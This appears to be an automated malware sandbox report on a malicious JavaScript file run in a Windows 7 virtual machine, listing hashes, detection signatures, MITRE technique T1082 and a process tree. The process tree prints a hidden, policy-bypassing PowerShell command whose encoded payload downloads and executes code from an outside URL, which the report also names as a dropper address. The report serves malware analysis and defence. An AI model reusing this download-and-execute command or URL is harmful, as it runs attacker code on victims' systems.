168add12aefe41fe53363c44989dba520a0b0416f7472ed0b0d9b7b44c1a3643

Analysis

max time kernel
118s
max time network
155s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
08/01/2024, 13:02

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General

Target

4b820c28a160bef91abf97726120bda6.js
Size

80KB
MD5

4b820c28a160bef91abf97726120bda6
SHA1

e956924ba00a4ea96763bb0d3acd67eeb497f710
SHA256

168add12aefe41fe53363c44989dba520a0b0416f7472ed0b0d9b7b44c1a3643
SHA512

7bb3da930c1cde4219be7c10e38135bd51b046e4e304949851dd80542362b463c0079aa641de3cfb705ef2915255c2e09c68b942745fc1a389e255490ef8933c
SSDEEP

1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/ol:59Ry98guHVBqqg2bcruzUHmLKeMMU7Gj

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	476	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
476	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	476	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2620 wrote to memory of 2300	2620	wscript.exe	28
PID 2620 wrote to memory of 2300	2620	wscript.exe	28
PID 2620 wrote to memory of 2300	2620	wscript.exe	28
PID 2300 wrote to memory of 476	2300	cmd.exe	30
PID 2300 wrote to memory of 476	2300	cmd.exe	30
PID 2300 wrote to memory of 476	2300	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4b820c28a160bef91abf97726120bda6.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/476-5-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/476-6-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/476-7-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/476-8-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/476-9-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/476-11-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/476-10-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/476-12-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/476-13-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download